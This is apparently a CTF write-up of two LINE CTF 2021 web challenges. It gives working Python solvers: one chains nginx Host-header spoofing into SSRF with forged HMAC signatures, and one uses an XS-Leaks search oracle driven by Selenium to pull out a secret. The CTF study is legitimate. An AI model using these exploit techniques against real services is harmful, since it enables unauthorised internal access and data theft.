Hello, I'm 8ayac 🐝 This post contains writeups for two challenges I solved at LINE CTF 2021. The challenges were diveinternal and Your Note1.
This is written for readers familiar with the challenges, so some background explanations are omitted.
[Web 50pts] diveinternal (65/680 Solves)
Challenge description
Target the server's internal entries, access admin, and roll back.
Keytime: Asia/Japan
添付ファイル: diveInternal.zip
Writeup
Scanning the supplied nginx.conf with gixy reveals a configuration flaw.
Specifically, the configuration is vulnerable to host header forgery2.
$ gixy nginx/nginx.conf
==================== Results ===================
>> Problem: [host_spoofing] The proxied Host header may be spoofed.
Description: In most cases "$host" variable are more appropriate, just use it.
Additional info: https://github.com/yandex/gixy/blob/master/docs/en/plugins/hostspoofing.md
Pseudo config:
server {
server_name nginx;
location / {
proxy_set_header Host $http_host;
}
}
==================== Summary ===================
Total issues:
Unspecified: 0
Low: 0
Medium: 1
High: 0
This vulnerability in the Nginx configuration can be used to send arbitrary HTTP requests (GET requests3) to the backend application.
The URL to which requests are forwarded can also be controlled to some extent, as follows.
- Scheme: Not investigated (
httpwas sufficient here). - Host, including port: Can be set to an arbitrary value by changing the
Hostheader in a regular request to the vulnerable endpoint. - Path and query string: Can be set to arbitrary values by changing
Langin a regular request to the vulnerable endpoint4.
The notes below describe the backend application, and the solver further down contains the solution.
Notes on the backend application
class Activity in app.main
Instance variables
| Name | Description | |
|---|---|---|
engine |
Database engine | The DBMS is SQLite. |
session |
Database session object | |
dbHash |
Hash for checking database integrity | hashlib.md5(open(os.environ['DBFILE'], 'rb').read()).hexdigest() |
integrityKey |
Key for checking the integrity of dbHash | hashlib.sha512((self.dbHash).encode('ascii')).hexdigest() |
subscriberObjs |
List of Subscriber objects already present in the database | |
backupedHash |
Methods
| Method | Description | Notes |
|---|---|---|
__init__(self) |
Constructor | |
DbBackupRunner(self) |
Rolls back the database | Uses app.rollback() for the rollback. |
Commit(self) |
Registers data in the database | Calls app.rollback() if the commit fails. |
UpdateKey(self) |
Updates self.integrityKey and self.dbHash |
|
IntegrityCheckWorker(self) |
Worker that checks the integrity of the database file using self.dbHash |
For periodic execution by self.run. |
IntegrityCheck(self, key, dbHash) |
Uses the dbHash argument to check whether the database has been changed unintentionally. |
Reads and returns the contents of FLAG if an unintended change is detected (?). |
AddSubscriber(self, email) |
Registers a new Subscriber in the database | See app.datamodel.Subscriber for details of Subscriber data. |
ScheduleWorker |
Worker that periodically checks database integrity | |
run |
Periodically checks database integrity |
Utilities in app.main
| Function | Description | Notes |
|---|---|---|
valid_download(src) |
Checks whether src is specified | |
WriteFile(url) |
Writes the response to a GET request to the url argument into a file. |
The file is fbackup/${url.split('/')[-1]}. |
LanguageNomarize(request) |
Normalizes the value of the request's Lang header |
After normalization, sends a GET request to f${request.host_url}{language}. If the response code is 200, returns the response string. |
list_routes() |
Omitted | |
SignCheck(request) |
Verifies the HMAC of the request's query string | Used within GET /rollback and GET or POST /rollback. |
Utilities in app.rollback
| Function | Description | Notes |
|---|---|---|
RunRollbackDB(dbhash) |
Rolls back the database | If a file exists under backup/ whose name is the dbhash argument with symbols removed, reads and returns the contents of FLAG. |
RunbackupDB(remove, dbhash) |
Omitted |
Endpoints
| Endpoint | Description | Notes |
|---|---|---|
GET /index |
Home page | |
GET /en |
Omitted | |
GET /jp |
Omitted | |
GET /coin |
API that returns coin price information | The Lang response header is set to the result of app.main.LanguageNomarize(request). |
GET /download |
Downloads the URL specified in the src parameter |
Uses app.main.download(src) for the download. |
POST /download |
Same as GET /download |
|
GET /addsub |
API for registering a new Subscriber | |
GET /integrityStatus |
API for obtaining database integrity status | Returns the database file path and its current integrity-check hash (dbHash). |
GET /rollback |
API for rolling back the database | If app.main.SignCheck(request) passes, runs app.main.Activity.IntegrityCheck. The Key request header is passed as the key argument, and the dbhash query parameter is passed as dbHash. |
Solver
import hashlib
import hmac
import json
from urllib.parse import urljoin
import requests
PUBLIC_BASE_URL = 'http://35.190.234.195/'
PRIVATE_HOST = 'localhost:5000'
PRIVATE_KEY = b"let'sbitcorinparty"
def get_db_hash() -> str:
res = requests.get(urljoin(PUBLIC_BASE_URL, '/'),
headers={
'Host': PRIVATE_HOST,
'Lang': 'integrityStatus'
})
return json.loads(res.headers['lang'])['dbhash']
def generate_sign(s: str) -> str:
return hmac.new(PRIVATE_KEY, s.encode(), hashlib.sha512).hexdigest()
def generate_key(s: str) -> str:
return hashlib.sha512(s.encode('ascii')).hexdigest()
def add_prefix(s: str, prefix: str) -> str:
return f'{prefix}{s}'
def execute_download(srcUrl: str) -> requests.Response:
sign = generate_sign(f'src={srcUrl}')
return requests.get(urljoin(PUBLIC_BASE_URL, '/'),
headers={
'Host': PRIVATE_HOST,
'Lang': f'download?src={srcUrl}',
'Sign': sign
})
def execute_rollback(dbHash: str) -> requests.Response:
FRAGMENT = '_'
key = generate_key(dbHash)
sign = generate_sign(f'dbhash={add_prefix(dbHash, FRAGMENT)}')
return requests.get(urljoin(PUBLIC_BASE_URL, '/'),
headers={
'Host': PRIVATE_HOST,
'Lang': f'rollback?dbhash={add_prefix(dbHash, FRAGMENT)}',
'Key': key,
'Sign': sign
})
def exploit():
execute_download(f'https://lab.8ay.ac/{get_db_hash()}')
res = execute_rollback(get_db_hash())
print(f'flag: {res.headers["lang"]}')
if __name__ == "__main__":
exploit()
Flag
LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}
[Web 50pts] Your Note (22/680 Solves)
Challenge description
Secure private note service
※ Admin have disabled some security feature of their browser...
Flag Format: LINECTF{[a-z0-9-]+}
添付ファイル: your-note.zip
Writeup
Look at the following part of the source for GET /search.
@app.route('/search')
@login_required
def search():
q = request.args.get('q')
download = request.args.get('download') is not None
if q:
notes = Note.query.filter_by(owner=current_user).filter(or_(Note.title.like(f'%{q}%'), Note.content.like(f'%{q}%'))).all()
if notes and download:
return Response(json.dumps(NoteSchema(many=True).dump(notes)), headers={'Content-disposition': 'attachment;filename=result.json'})
else:
return redirect(url_for('index'))
return render_template('index.html', notes=notes, is_search=True)
Lines 8–9 show that Content-disposition: attachment is added to the response headers when all of the following conditions hold.
- The search finds at least one Note.
- request.args.get('download') is not None.
In other words, when a search is made with ?download= in the query string, the response differs according to the number of results.
| Number of Notes found | Does the response include Content-disposition: attachment? |
|---|---|
| At least one | ✅ |
| Fewer than one | ✖ |
The solution uses this behavior as an oracle for XS Leaks.
Reporting the URL {{BASE_URL}}/search?q=%&download5 to the administrator produces an unusual message: ng.
Solver
The following solver extracts the flag string one character at a time, starting at the beginning6.
import os
import string
import subprocess
from concurrent.futures.thread import ThreadPoolExecutor
from urllib.parse import quote, urljoin
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
BASE_URL = os.getenv('BASE_URL')
USERNAME = os.getenv('USERNAME')
PASSWORD = os.getenv('PASSWORD')
S = string.ascii_lowercase + string.digits + '-'
FLAG_PRE = 'LINECTF{'
FLAG_SUF = '}'
def length_is(n: int) -> str:
return f'{FLAG_PRE}{"_" * n}{FLAG_SUF}'
def nth_char_is(n: int, c: str) -> str:
return f'{FLAG_PRE}{"_" * (n - 1)}{c}%{FLAG_SUF}'
def prop_holds(prop: str):
print(f"\r[info] Attempting this prop => '{prop}'\033[0K", end='')
options = Options()
options.add_argument('--headless')
driver = webdriver.Chrome(os.getenv('CHROME_DRIVER_PATH'), options=options)
try:
# Login
driver.get(urljoin(BASE_URL, '/login'))
driver.find_element_by_css_selector('input[name=username]').send_keys(USERNAME)
driver.find_element_by_css_selector('input[name=password]').send_keys(PASSWORD)
driver.find_element_by_css_selector('button[type=submit]').submit()
# Move to /report
report_bug_button = driver.find_element_by_css_selector('a.button.is-warning.is-light')
report_bug_button.click()
# Proof of work
pow_cmd = driver.find_element_by_tag_name('strong').get_attribute('textContent').split('&&')[-1].strip()
proof = subprocess.check_output(pow_cmd, shell=True).decode()
# Make the payload
payload = urljoin(BASE_URL, f'/search?q={prop}&download=')
# Submit the payload
driver.find_element_by_css_selector('input[name=url]').send_keys(payload)
driver.find_element_by_css_selector('input[name=proof]').send_keys(proof)
driver.find_element_by_css_selector(
'#content > div > div > div.box > form > div:nth-child(4) > p > button').submit()
# Check the result
flash_message_el = driver.find_element_by_css_selector(
'#content > div > div > div.box > form > div:nth-child(6)')
truth = flash_message_el.get_attribute('textContent').strip() == 'ng'
return prop, truth
except Exception as e:
return prop, False
finally:
driver.close()
def backup(revealed_flag: str):
with open('flag.bak', mode='w') as f:
f.write(revealed_flag)
if __name__ == "__main__":
with ThreadPoolExecutor(max_workers=8) as executor:
upper_bound = 50
props = [length_is(i) for i in range(1, upper_bound + 1)]
secret_length = [v[0].count('_') for i, v in enumerate(list(executor.map(prop_holds, props))) if v[1]].pop()
print(f'\r[+] secret_length: {secret_length}\033[0K')
secret = ''
for i in range(1, secret_length + 1):
with ThreadPoolExecutor(max_workers=4) as executor:
props = [nth_char_is(i, c) for c in S]
possible_chars = [v for v in executor.map(prop_holds, props) if v[1]]
if len(possible_chars) == 1:
secret += possible_chars.pop()[0].lstrip(f'{FLAG_PRE}{"_" * (i - 1)}').rstrip(f'%{FLAG_SUF}')
else:
secret += '?'
print(f'\r[+] ~N={i} => {secret}\033[0K')
backup(f'{FLAG_PRE}{secret}')
print(f'[*] flag: {FLAG_PRE}{secret}{FLAG_SUF}')
Flag
LINECTF{1-kn0w-what-y0u-d0wn10ad}
Footnotes
3 GET requests were sufficient to obtain the flag, so I did not investigate whether requests using other methods could be sent.
4 After forwarding, the value may be normalized using app.main.LanguageNomarize(request).
5 % is a wildcard representing zero or more characters.